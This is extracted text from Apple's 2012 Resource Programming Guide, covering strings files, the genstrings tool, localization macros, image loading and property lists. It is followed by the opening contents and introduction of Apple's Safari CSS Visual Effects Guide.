NSLocalizedStringWithDefaultValue You use these macrosin yoursource code to load stringsfrom one of your application’sstringsfiles. The macros take the user’s current language preferences into account when retrieving the actual string value. In addition, the genstrings tool searches for these macros and uses the information they contain to build the initial set of strings files for your application. For additional information about how to use these macros,see “Loading String ResourcesInto Your Code” (page 37). String Resources Creating Strings Resource Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 34Using the genstrings Tool to Create Strings Files At some point during your development, you need to create the strings files needed by your code. If you wrote your code using the Core Foundation and Foundation macros, the simplest way to create your strings files is using the genstrings command-line tool. You can use thistool to generate a new set ofstringsfiles or update a set of existing files based on your source code. To use the genstrings tool, you typically provide at least two arguments: ● A list of source files ● An optional output directory The genstrings tool can parse C, Objective-C, and Java code files with the .c, .m, or .java filename extensions. Although not strictly required, specifying an output directory is recommended and is where genstrings places the resulting strings files. In most cases, you would want to specify the directory containing the project resources for your development language. The following example shows a simple command for running the genstrings tool. This command causes the tool to parse all Objective-C source files in the current directory and put the resulting strings files in the en.lproj subdirectory, which must already exist. genstrings -o en.lproj *.m The first time you run the genstrings tool, it creates a set of new stringsfilesfor you. Subsequent runsreplace the contents of those strings files with the current string entries found in your source code. For subsequent runs, it is a good idea to save a copy of your current strings files before running genstrings. You can then diff the new and old versions to determine which strings were added to (or changed in) your project. You can then use this information to update any already localized versions of your strings files, rather than replacing those files and localizing them again. Within a single strings file, each key must be unique. Fortunately, the genstrings tool is smart enough to coalesce any duplicate entries it finds. When it discovers a key string used more than once in a single strings file, the tool merges the comments from the individual entries into one comment string and generates a warning. (You can suppressthe duplicate entries warning with the -q option.) If the same key string is assigned to strings in different strings files, no warning is generated. For more information about using the genstrings tool, see the genstrings man page. String Resources Creating Strings Resource Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 35Creating Strings Files Manually Although the genstrings tool is the most convenient way to create strings files, you can also create them manually. To create a stringsfile manually, create a new file in TextEdit (or your preferred text-editing application) and save it using the Unicode UTF-16 encoding. (When saving files, TextEdit usually chooses an appropriate encoding by default. To force a specific encoding, you must change the save options in the application preferences.) The contents of thisfile consists of a set of key-value pairs along with optional comments describing the purpose of each key-value pair. Key and value strings are separated by an equal sign, and the entire entry must be terminated with a semicolon character. By convention, comments are enclosed inside C-style comment delimiters (/* and */) and are placed immediately before the entry they describe. Listing 2-2 shows the basic format of a strings file. The entries in this example come from the English version of the Localizable.strings file from the TextEdit application. The string on the left side of each equal sign representsthe key, and the string on the rightside representsthe value. A common convention when developing applications is to use a key name that equals the value in the language used to develop the application. Therefore, because TextEdit was developed using the English language, the English version of the Localizable.strings file has keys and values that match. Listing 2-2 Strings localized for English /* Menu item to make the current document plain text */ "Make Plain Text" = "Make Plain Text"; /* Menu item to make the current document rich text */ "Make Rich Text" = "Make Rich Text"; Listing 2-3 shows the German translation of the same entries. These entries also live inside a file called Localizable.strings, but this version of the file is located in the German language project directory of the TextEdit application. Notice that the keys are still in English, but the values assigned to those keys are in German. This is because the key strings are never seen by end users. They are used by the code to retrieve the corresponding value string, which in this case is in German. Listing 2-3 Strings localized for German /* Menu item to make the current document plain text */ "Make Plain Text" = "In reinen Text umwandeln"; /* Menu item to make the current document rich text */ "Make Rich Text" = "In formatierten Text umwandeln"; String Resources Creating Strings Resource Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 36Detecting Non-localizable Strings AppKit–based applications can take advantage of built-in support to detect strings that do not need to be localized and those that need to be localized but currently are not. To use this built-in support, you must launch your application from the command line. In addition to entering the path to your executable, you must also include the name of the desired setting along with a Boolean value to indicate whether the setting should be enabled or disabled. The available settings are as follows: ● The NSShowNonLocalizableStrings setting identifies strings that are not localizable. The strings are logged to the shell in upper case. This option occasionally generates some false positives but is still useful overall. ● The NSShowNonLocalizedStrings setting locates strings that were meant to be localized but could not be found in the application’s existing strings files. You can use this setting to catch problems with out-of-date localizations. For example, to use the NSShowNonLocalizedStrings setting with the TextEdit application, you would enter the following in Terminal: /Applications/TextEdit.app/Contents/MacOS/TextEdit -NSShowNonLocalizedStrings YES Loading String Resources Into Your Code The Core Foundation and Foundation frameworks provide macrosfor retrieving both localized and nonlocalized strings stored in strings files. Although the main purpose of these macros is to load strings at runtime, they also serve a secondary purpose by acting as markers that the genstrings tool can use to locate your application’s string resources. It is this second purpose that explains why many of the macros let you specify much more information than would normally be required for loading a string. The genstrings tool uses the information you provide to create or update your application’s strings files automatically. Table 2-1 lists the types of information you can specify for these routines and describes how that information is used by the genstrings tool. Table 2-1 Common parameters found in string-loading routines Parameter Description The string used to look up the corresponding value. This string must not contain any characters from the extended ASCII character set, which includes accented versions of ASCII characters. If you want the initial value string to contain extended ASCII characters, use a routine that lets you specify a default value parameter. (For information about the extended ASCII character set, see the corresponding Wikipedia entry.) Key String Resources Loading String Resources Into Your Code 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 37Parameter Description The name of the strings file in which the specified key is located. The genstrings tool interprets this parameter as the name of the strings file in which the string should be placed. If no table name is provided, the string is placed in the default Localizable.strings file. (When specifying a value for this parameter, include the filename without the .strings extension.) Table name The default value to associate with a given key. If no default value is specified, the genstrings tool uses the key string as the initial value. Default value strings may contain extended ASCII characters. Default value Translation comments to include with the string. You can use comments to provide clues to the translation team about how a given string is used. The genstrings tool putsthese commentsin the stringsfile and enclosesthem in C-style comment delimiters (/* and */) immediately above the associated entry. Comment An NSBundle object or CFBundleRef type corresponding to the bundle containing the stringsfile. You can use thisto load stringsfrom bundles other than your application’s main bundle. For example, you might use this to load localized strings from a framework or plug-in. Bundle When you request a string from a strings file, the string that is returned depends on the available localizations (if any). The Cocoa and Core Foundation macros use the built-in bundle internationalization support to retrieve the string whose localization matchesthe user’s current language preferences. Aslong as your localized resource files are placed in the appropriate language-specific project directories, loading a string with these macros should yield the appropriate string automatically. If no appropriate localized string resource is found, the bundle’s loading code automatically chooses the appropriate nonlocalized string instead. For information about internationalization in general and how to create language-specific project directories, see Internationalization Programming Topics. For information about the bundle structure and how resource files are chosen from a bundle directory, see Bundle Programming Guide . Using the Core Foundation Framework The Core Foundation framework defines a single function and several macrosfor loading localized stringsfrom your application bundle. The CFBundleCopyLocalizedString function provides the basic implementation for retrieving the strings. However, it is recommended that you use the following macros instead: ● CFCopyLocalizedString(key, comment) ● CFCopyLocalizedStringFromTable(key, tableName, comment) ● CFCopyLocalizedStringFromTableInBundle(key, tableName, bundle, comment) String Resources Loading String Resources Into Your Code 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 38● CFCopyLocalizedStringWithDefaultValue(key, tableName, bundle, value, comment) There are several reasons to use the macros instead of the CFBundleCopyLocalizedString function. First, the macros are easier to use for certain common cases. Second, the macros let you associate a comment string with the string entry. Third, the macros are recognized by the genstrings tool but the CFBundleCopyLocalizedString function is not. For information about the syntax of the preceding macros, see CFBundle Reference . Using the Foundation Framework The Foundation framework defines a single method and several macros for loading string resources. The localizedStringForKey:value:table: method of the NSBundle classloadsthe specified string resource from a strings file residing in the current bundle. Cocoa also defines the following macros for getting localized strings: ● NSLocalizedString(key, comment) ● NSLocalizedStringFromTable(key, tableName, comment) ● NSLocalizedStringFromTableInBundle(key, tableName, bundle, comment) ● NSLocalizedStringWithDefaultValue(key, tableName, bundle, value, comment) As with Core Foundation, Apple recommends that you use the Cocoa convenience macros for loading strings. The main advantage to these macros is that they can be parsed by the genstrings tool and used to create your application’s strings files. They are also simpler to use and let you associate translation comments with each entry. For information about the syntax of the preceding macros, see Foundation Functions Reference . Additional methods for loading strings are also defined in NSBundle Class Reference . Examples of Getting Strings The following examples demonstrate the basic techniques for using the Foundation and Core Foundation macros to retrieve strings. Each example assumes that the current bundle contains a strings file with the name Custom.strings that has been translated into French. This translated file includes the following strings: /* A comment */ "Yes" = "Oui"; "The same text in English" = "Le même texte en anglais"; String Resources Loading String Resources Into Your Code 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 39Using the Foundation framework, you can get the value of the “Yes” string using the NSLocalizedStringFromTable macro, as shown in the following example: NSString* theString; theString = NSLocalizedStringFromTable (@"Yes", @"Custom", @"A comment"); Using the Core Foundation framework, you could get the same string using the CFCopyLocalizedStringFromTable macro, as shown in this example: CFStringRef theString; theString = CFCopyLocalizedStringFromTable(CFSTR("Yes"), CFSTR("Custom"), "A comment"); In both examples, the code specifies the key to retrieve, which is the string “Yes”. They also specify the strings file (or table) in which to look for the key, which in this case isthe Custom.strings file. During string retrieval, the comment string is ignored. Advanced Strings File Tips The following sections provide some additional tips for working with strings files and string resources. Searching for Custom Functions With genstrings The genstrings tool searches for the Core Foundation and Foundation string macros by default. It uses the information in these macros to create the string entries in your project’s strings files. You can also direct genstrings to look for custom string-loading functions in your code and use those functions in addition to the standard macros. You might use custom functionsto wrap the built-in string-loading routines and perform some extra processing or you might replace the defaultstring handling behavior with your own custom model. If you want to use genstrings with your own custom functions, your functions must use the naming and formatting conventions used by the Foundation macros. The parameters for your functions must match the parameters for the corresponding macros exactly. When you invoke genstrings, you specify the -s option followed by the name of the function that correspondsto the NSLocalizedString macro. Your other function names should then build from this base name. For example, if you specified the function name MyStringFunction, your other function names should be MyStringFunctionFromTable, MyStringFunctionFromTableInBundle, and MyStringFunctionWithDefaultValue. The genstrings tool looks for these functions and uses them to build the corresponding strings files. String Resources Advanced Strings File Tips 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 40Formatting String Resources For some strings, you may not want to (or be able to) encode the entire string in a string resource because portions of the string might change at runtime. For example, if a string contains the name of a user document, you need to be able to insert that document name into the string dynamically. When creating your string resources, you can use any of the formatting characters you would normally use for handling string replacement in the Foundation and Core Foundation frameworks. Listing 2-4 shows several string resources that use basic formatting characters: Listing 2-4 Strings with formatting characters "Windows must have at least %d columns and %d rows." = "Les fenêtres doivent être composes au minimum de %d colonnes et %d lignes."; "File %@ not found." = "Le fichier %@ n’existe pas."; To replace formatting characters with actual values, you use the stringWithFormat: method of NSString or the CFStringCreateWithFormat function, using the string resource as the format string. Foundation and Core Foundation support most of the standard formatting characters used in printf statements. In addition, you can use the %@ specifiershown in the preceding example to insert the descriptive text associated with arbitrary Objective-C objects. See “Formatting String Objects” in String Programming Guide for the complete list of specifiers. One problem that often occurs during translation is that the translator may need to reorder parameters inside translated strings to account for differences in the source and target languages. If a string contains multiple arguments, the translator can insert special tags of the form n$ (where n specifies the position of the original argument) in between the formatting characters. These tags let the translator reorder the arguments that appear in the original string. The following example shows a string whose two arguments are reversed in the translated string: /* Message in alert dialog when something fails */ "%@ Error! %@ failed!" = "%2$@ blah blah, %1$@ blah!"; Using Special Characters in String Resources Just as in C, some characters must be prefixed with a backslash before you can include them in the string. These characters include double quotation marks, the backslash character itself, and special control characters such as linefeed (\n) and carriage returns (\r). "File \"%@\" cannot be opened" = " ... "; "Type \"OK\" when done" = " ... "; String Resources Advanced Strings File Tips 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 41You can include arbitrary Unicode characters in a value string by specifying \U followed immediately by up to four hexadecimal digits. The four digits denote the entry for the desired Unicode character; for example, the space character is represented by hexadecimal 20 and thus would be \U0020 when specified as a Unicode character. This option is useful if a string must include Unicode characters that for some reason cannot be typed. If you use this option, you must also pass the -u option to genstrings in order for the hexadecimal digits to be interpreted correctly in the resulting strings file. The genstrings tool assumes your strings are low-ASCII by default and only interprets backslash sequences if the -u option is specified. Note: The genstrings tool always generatesstringsfiles using the UTF-16 encoding. If you include Unicode characters in your strings and do not use genstrings to create your strings files, be sure to save your strings files in the UTF-16 encoding. Debugging Strings Files If you run into problems during testing and find that the functions and macros for retrieving strings are always returning the same key (as opposed to the translated value), run the /usr/bin/plutil tool on your strings file. A strings file is essentially a property-list file formatted in a special way. Running plutil with the -lint option can uncover hidden characters or other errorsthat are preventing stringsfrom being retrieved correctly. String Resources Advanced Strings File Tips 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 42The OS X and iOS platforms were built to provide a rich multimedia experience. To support that experience, both platforms provide plenty of support for loading and using image, sound, and video resources in your application. Image resources are commonly used to draw portions of an application’s user interface. Sound and video resources are used less frequently but can also enhance the basic appearance and appeal of an application. The following sections describe the support available for working with image, sound, and video resources in your applications. Images and Sounds in Nib Files Using Xcode, you can reference your application’s sound and image files from within nib files. You might do so to associate those images or sounds with different properties of a view or control. For example, you might set the default image to display in an image view or set the image to display for a button. Creating such a connection in a nib file saves you the hassle of having to make that connection later when the nib file isloaded. To make image and sound resources available in a nib file, all you have to do is add them to your Xcode project; Xcode then lists them in the library pane. When you make a connection to a given resource file, Xcode makes a note of that connection in the nib file. At load time, the nib-loading code looksfor that resource in the project bundle, where it should have been placed by Xcode at build time. When you load a nib file that contains references to image and sound resources, the nib-loading code caches resources whenever possible for easy retrieval later. For example, after loading a nib file, you can retrieve an image associated with that nib file using the imageNamed: method of either NSImage or UIImage (depending on your platform). In OS X you can retrieve cached sound resources using the soundNamed: method of NSSound. Loading Image Resources Image resources are commonly used in most applications. Even very simple applications use images to create a custom look for controls and views. OS X and iOS provide extensive support for manipulating image data using Objective-C objects. These objects make using image images extremely easy, often requiring only a few 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 43 Image, Sound, and Video Resourceslines of code to load and draw the image. If you prefer not to use the Objective-C objects, you can also use Quartz to load images using a C-based interface. The following sections describe the processfor loading image resource files using each of the available techniques. Loading Images in Objective-C To load images in Objective-C, you use either the NSImage or UIImage object, depending on the current platform. Applications built for OS X using the AppKit framework use the NSImage object to load images and draw them. Applications built for iOS use the UIImage object. Functionally, both of these objects provide almost identical behavior when it comesto loading existing image resources. You initialize the object by passing it a pointer to the image file in your application bundle and the image object takes care of the details of loading the image data. Listing 3-1 shows how to load an image resource using the NSImage class in OS X. After you locate the image resource, which in this case is in the application bundle, you simply use that path to initialize the image object. After initialization, you can draw the image using the methods of NSImage or passthat object to other methods that can use it. To perform the exactsame task in iOS, all you would need to do is change references of NSImage to UIImage. Listing 3-1 Loading an image resource NSString* imageName = [[NSBundle mainBundle] pathForResource:@"image1" ofType:@"png"]; NSImage* imageObj = [[NSImage alloc] initWithContentsOfFile:imageName]; You can use image objectsto open any type of image supported on the target platform. Each object istypically a lightweight wrapper for more advanced image handling code. To draw an image in the current graphics context, you would simply use one of its drawing related methods. Both NSImage and UIImage have methods for drawing the image in several different ways. The NSImage class also provides extra support for manipulating the images you load. For information about the methods of the NSImage and UIImage classes, see NSImage Class Reference and UIImage Class Reference . For more detailed information about the additional features of the NSImage class, see “Images” in Cocoa Drawing Guide . Image, Sound, and Video Resources Loading Image Resources 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 44Loading Images Using Quartz If you are writing C-based code, you can use a combination of Core Foundation and Quartz calls to load image resources into your applications. Core Foundation provides the initial support for locating image resources and loading the corresponding image data into memory. Quartz takes the image data you load into memory and turns it into a usable CGImageRef that your code can then use to draw the image. There are two ways to load images using Quartz: data providers and image source objects. Data providers are available in both iOS and OS X. Image source objects are available only in OS X v10.4 and later but take advantage of the Image I/O framework to enhance the basic image handling capabilities of data providers. When it comes to loading and displaying image resources, both technologies are well suited for the job. The only time you might prefer image sources over data providers is when you want greater access to the image-related data. Listing 3-2 shows how to use a data provider to load a JPEG image. This method uses the Core Foundation bundle support to locate the image in the application’s main bundle and get a URL to it. It then uses that URL to create the data provider object and then create a CGImageRef for the corresponding JPEG data. (For brevity this example omits any error-handling code. Your own code should make sure that any referenced data structures are valid.) Listing 3-2 Using data providers to load image resources CGImageRef MyCreateJPEGImageRef (const char *imageName); { CGImageRef image; CGDataProviderRef provider; CFStringRef name; CFURLRef url; CFBundleRef mainBundle = CFBundleGetMainBundle(); // Get the URL to the bundle resource. name = CFStringCreateWithCString (NULL, imageName, kCFStringEncodingUTF8); url = CFBundleCopyResourceURL(mainBundle, name, CFSTR("jpg"), NULL); CFRelease(name); // Create the data provider object provider = CGDataProviderCreateWithURL (url); CFRelease (url); // Create the image object from that provider. Image, Sound, and Video Resources Loading Image Resources 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 45image = CGImageCreateWithJPEGDataProvider (provider, NULL, true, kCGRenderingIntentDefault); CGDataProviderRelease (provider); return (image); } For detailed information about working with Quartz images, see Quartz 2D Programming Guide . For reference information about data providers, see Quartz 2D Reference Collection (OS X) or Core Graphics Framework Reference (iOS). Specifying High-Resolution Images in iOS An iOS app should include high-resolution versions of its image resources. When the app is run on a device that has a high-resolution screen, high-resolution images provide extra detail and look better because they do not need to be scaled to fit the space. You provide high-resolution images for each image resource in your application bundle, including icons and launch images. To specify a high-resolution version of an image, create a version whose width and height (measured in pixels) are twice that of the original. You use the extra pixels in the image to provide additional detail. When saving the image, use the same base name but include the string @2x between the base filename and the filename extension. For example, if you have an image named MyImage.png, the name of the high-resolution version would be MyImage@2x.png. Put the high-resolution and original versions of your image in the same location in your application bundle. The bundle- and image-loading routines automatically look for image files with the @2x string when the underlying device has a high-resolution screen. If you combine the @2x string with other modifiers, the @2x string should come before any device modifiers but after all other modifiers, such as launch orientation or URL scheme modifiers. For example: MyImage.png - Default version of an image resource. MyImage@2x.png - High-resolution version of an image resource for devices with Retina displays. MyImage~iphone.png - Version of an image for iPhone and iPod touch. MyImage@2x~iphone.png - High-resolution version of an image for iPhone and iPod touch devices with Retina displays. Image, Sound, and Video Resources Loading Image Resources 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 46When you want to load an image, do not include the @2x or any device modifiers when specifying the image name in your code. For example, if your application bundle included the image files from the preceding list, you would ask for an image named MyImage.png. The system automatically determines which version of the image is most appropriate and loads it. Similarly, when using or drawing that image, you do not have to know whether it is the original resolution or high-resolution version. The image-drawing routines automatically adjust based on the image that wasloaded. However, if you still want to know whether an image isthe original or high-resolution version, you can check its scale factor. If the image is the high-resolution version, its scale factor is set to a value other than 1.0. For more information about how to support high-resolution devices, see “Supporting High-Resolution Screens”. Image, Sound, and Video Resources Loading Image Resources 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 47Separating your application’s data from its code can make it easier to modify your application later. If you store the configuration data for your application in resource files, you can change that configuration without having to recompile your application. Data resource files can be used to store any type of information. The following sections highlight some of the data resource types supported by iOS and OS X. Property List Files Property list files are a way to store custom configuration data outside of your application code. OS X and iOS use property lists extensively to implement features such as user preferences and information property list files for bundles. You can similarly use property lists to store private (or public) configuration data for your applications. A property-list file is essentially a set of structured data values. You can create and edit property lists either programmatically or using the Property List Editor application (located in /Developer/Applications/Utilities). The structure of custom property-list files is completely up to you. You can use property liststo store string, number, Boolean, date, and raw data values. By default, a property list stores data in a single dictionary structure, but you can assign additional dictionaries and arrays as values to create a more hierarchical data set. For information about using property lists,see Property List Programming Guide and Property List Programming Topics for Core Foundation . OS X Data Resource Files Table 4-1 lists some additional resource file types that are supported in Mac apps. 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 48 Data Resource FilesTable 4-1 Other resource types Resource Description Type In OS X, AppleScript terminology and suite files contain information about the scriptability of an application. These files can use the file extensions .sdef, .scriptSuite, or .scriptTerminology. Because the actual AppleScript commands used to script an application are visible in userscripts and the Script Editor application, these resources need to be localized. For information on supporting AppleScript, see AppleScript Overview. AppleScript files In OS X, help content typically consists of a set of HTML files created using a standard text-editing program and registered with the Help Viewer application. (For information on how to register with Help Viewer, see Apple Help Programming Guide .) It is also possible to embed PDF files, RTF files, HTML files or other custom documents in your bundle and open them using an external application, such as Preview or Safari. For information on how to open files, see Launch Services Programming Guide . Help files Data Resource Files OS X Data Resource Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 49This table describes the changes to Resource Programming Guide . Date Notes Modified discussion of high-resolution image resources to include all Retina displays. 2012-06-11 2011-10-12 Updated for ARC and iOS 5. Corrected information about how you specify high-resolution image resource filenames. 2010-09-15 2010-05-25 Updated references to the Apple developer website. 2009-01-06 Added information about KVO notifications during nib loading. 2008-06-26 Updated for iOS. Clarified the process of how objects are instantiated when a nib file is loaded. 2007-09-04 Reorganized content and added new information. Changed title from "Loading Resources". 2007-02-08 2005-11-09 Corrected the misidentification of a class method as an instance method. Added “Instantiating Nibs From Memory” and the link to the NSNib class reference. 2003-07-09 2003-05-28 Section on initializing nib file objects corrected and expanded. Revision history was added to existing topic. It will be used to record changes to the content of the topic. 2002-11-12 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 50 Document Revision HistoryApple Inc. © 2012 Apple Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrievalsystem, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains all intellectual property rights associated with the technology described in this document. This document is intended to assist application developers to develop applications only for Apple-labeled computers. Apple Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, AppleScript, Cocoa, iPad, iPhone, iPod, iPod touch, Mac, Objective-C, OS X, Quartz, Safari, and Xcode are trademarks of Apple Inc., registered in the U.S. and other countries. Retina is a trademark of Apple Inc. Java is a registered trademark of Oracle and/or its affiliates. iOS is a trademark or registered trademark of Cisco in the U.S. and other countries and is used under license. Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages. THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. Safari CSS Visual Effects GuideContents Introduction 8 At a Glance 9 Use CSS Properties to Add Gradients, Masks, Reflections, and Filters 9 Animate Changes in CSS Properties 9 Apply 2D and 3D Transformations to Any HTML Element 10 How to Use This Document 10 Prerequisites 11 See Also 11 Using Gradients 12 Creating Linear Gradients 12 Setting the Direction of Change 13 Setting the Rate of Change 14 Creating Gradient Fades 16 Creating Radial Gradients 17 Moving the Center 18 Changing the Ending Color Location 19 Adding Color Stops 20 Creating a Radial Fade 22 Creating Repeating Gradients 23 Using a Gradient as a Border Image 24 Prior Syntax (-webkit-gradient) 26 Using Masks 28 Using an Image as a Mask 28 Using a Gradient as a Mask 32 Working with WebKit Mask Properties 35 Using Reflections 37 Adding a Reflection 37 Adjusting the Reflection’s Position 38 Masking a Reflection 39 Inner Reflections 41 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 2Using CSS Filters 43 Using CSS Filters 43 Animating CSS Transitions 45 Setting Transition Properties 46 Using Timing Functions 47 Delaying the Start 48 Setting Several Transition Properties At Once 48 Handling Intermediate States and Events 49 Animating With Keyframes 50 Creating a Keyframe Animation 51 Creating Keyframes 52 Setting Animation Properties 53 Animation Timing Functions 54 Starting Animations 55 Controlling Animation Using JavaScript 56 Handling Animation Events 58 Using 2D and 3D Transforms 61 2D Transform Functions 62 2D Translation 63 2D Rotation 63 2D Scaling 65 Setting Multiple Transforms 66 Changing the Origin 67 3D Transforms 69 Adding 3D Perspective 70 Creating a 3D Space 74 3D Transform Functions 76 Back Face Visibility 80 Using Transformation Matrices 81 2D Matrix Operations 82 3D Matrix Operations 84 Working with Transforms in JavaScript 84 Example: Animated Rotating Box Under JavaScript Control 86 Adding Interactive Control to Visual Effects 90 Using a Click or Tap to Trigger a Transition Effect 90 Controlling a 3D Transform with a Click, Touch, or Swipe 91 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 3 ContentsUsing Gestures to Scale and Rotate Elements 95 Document Revision History 99 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 4 ContentsFigures and Listings Using Gradients 12 Figure 1-1 Simple linear gradient 13 Figure 1-2 Rainbow gradient 13 Figure 1-3 Diagonal gradients 14 Figure 1-4 Setting color stop percentages 15 Figure 1-5 Solid color band and abrupt color change 15 Figure 1-6 Linear gradient fade 16 Figure 1-7 Simple radial gradient 17 Figure 1-8 Circular gradient 18 Figure 1-9 3D lighting effect 19 Figure 1-10 Closest-corner gradient fills 20 Figure 1-11 Multicolor gradient 21 Figure 1-12 Red color stop at 20% 21 Figure 1-13 Color band and abrupt color change using color stops 22 Figure 1-14 Spotlight gradient 23 Figure 1-15 Repeating gradient patterns 24 Figure 1-16 Linear gradient border 25 Figure 1-17 Radial gradient border 26 Listing 1-1 Linear fade 16 Listing 1-2 Radial fade 22 Using Masks 28 Figure 2-1 Heart-shaped “cookie-cutter” 29 Figure 2-2 Masking a border 30 Figure 2-3 Stacking masks 31 Figure 2-4 Applying a mask with a fuzzy border 32 Figure 2-5 Result of applying a gradient mask 33 Figure 2-6 Horizontal gradient mask with color stops 34 Figure 2-7 Masking text with a radial gradient 35 Listing 2-1 Stacking masked elements 30 Using Reflections 37 Figure 3-1 Reflection below a heading 38 Figure 3-2 Reflection with negative offset 39 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 5Figure 3-3 Reflection with image as mask 40 Figure 3-4 Image with reflection and gradient mask 41 Figure 3-5 Inner reflection, reflected 42 Using CSS Filters 43 Figure 4-1 CSS filters on a video 43 Listing 4-1 Applying CSS filters to HTML elements 44 Animating CSS Transitions 45 Figure 5-1 Card Flip example 45 Figure 5-2 Cubic Bezier timing function 47 Figure 5-3 Transition of two properties 49 Listing 5-1 Setting transition properties 46 Listing 5-2 Creating multiple transitions at once 47 Listing 5-3 Defining a custom timing function 48 Listing 5-4 Detecting transition end events 49 Animating With Keyframes 50 Figure 6-1 Animated text elements 50 Figure 6-2 Animation timing function control points 54 Figure 6-3 JavaScript control of animation 58 Listing 6-1 Simple keyframe animation 51 Listing 6-2 Declaring keyframes 52 Listing 6-3 Starting an animation 56 Listing 6-4 Pausing and continuing an animation 57 Listing 6-5 Handling animation events 59 Using 2D and 3D Transforms 61 Figure 7-1 HTML page with rotation and perspective transforms 61 Figure 7-2 A translated element and its offspring 63 Figure 7-3 Rotating an element 64 Figure 7-4 Scaling an element up 66 Figure 7-5 Element rotated around the top-right corner 68 Figure 7-6 3D coordinate space 69 Figure 7-7 Setting the perspective 72 Figure 7-8 Perspective origin effects 74 Figure 7-9 Text rotated relative to 3D backdrop 76 Figure 7-10 Z-axis translation in perspective 78 Figure 7-11 X and y rotation 79 Figure 7-12 Cardflip example 81 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 6 Figures and ListingsFigure 7-13 2D transformation matrix parameter positions 82 Figure 7-14 Matrix mirroring transforms 83 Figure 7-15 3D matrix parameters 84 Figure 7-16 3D transforms under JavaScript control 89 Listing 7-1 Animating 2D rotation 64 Listing 7-2 Setting multiple transforms using a list 67 Listing 7-3 Nesting 2D transforms 67 Listing 7-4 Rotating an element around the top-right corner 68 Listing 7-5 Adding a perspective slider 70 Listing 7-6 Effects of perspective origin 73 Listing 7-7 Nested 3D rotations 75 Listing 7-8 Hiding the back side of a card 80 Listing 7-9 Matrix example 82 Adding Interactive Control to Visual Effects 90 Figure 8-1 Click and tap handler 91 Figure 8-2 Page flip in action 93 Figure 8-3 Element rotated by a gesture 96 Listing 8-1 Simple touch or tap handler 90 Listing 8-2 Page flip on click, tap, or swipe 93 Listing 8-3 Responding to gesture events 96 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 7 Figures and ListingsUse CSS to create stunning visual effects—masks, gradients, reflections, lighting effects, animations, transitions, 3D rotations, and more. Apply any or all of these effects interactively, triggered by mouse events or touch events; make HTML elements visibly respond to the user—without requiring plug-ins, graphics libraries, or elaborate JavaScript programs. There are advantages to using CSS instead of graphic images to create visual effects: ● Because they are resolution-independent, CSS effects scale up smoothly when zoomed. ● Text formatted with CSS is searchable; images are not. ● CSS is compact and compresses well compared with graphic images. ● CSS is just text; it can be quickly modified using a text editor or the output of a script. Safari supports CSS visual effects on Mac OS X and iOS. 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 8 IntroductionAt a Glance Safari CSS visual effectsfall into three categories: new visual CSS properties, animation, and 2D and 3D transforms. Use CSS Properties to Add Gradients, Masks, Reflections, and Filters New visual CSS properties include gradients, masks, reflections, and filters. Gradients let you add beautiful, resolution-independent color blends to backgrounds and borders, with a single line of CSS. Use masks to render portions of HTML elements transparent for elegant compositing. Apply a mask as you would a background or a border image. You can use an image as a mask. You can also use a gradient as a mask, and you can mask any HTML element, not just images. Add a reflection to any element; use a gradient as a mask for a reflection to make the reflection fade to transparency. Filters allow you to add hardware-accelerated visual effects to HTML elements, including images and videos. Relevant chapters: “Using Gradients” (page 12), “Using a Gradient as a Mask” (page 32), “Using Reflections” (page 37), “Using CSS Filters” (page 43). Animate Changes in CSS Properties CSS makes animation easy: specify the properties you want animated, and optionally supply a duration for the animation, and any change to those CSS properties is automatically made into an animation of the HTML element, without using graphic plug-ins or even JavaScript. Use CSS pseudoclasses such as :hover to make the animations interactive—have elements fade in, grow, or enter from offscreen in response to touch or mouse events. CSS animations come in two flavors: implicit animations that render changes smoothly over a defined period, and keyframe animations that allow for more complex behavior, such as moving from side to side or starting and stopping en route. Introduction At a Glance 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 9Relevant chapters: “Animating 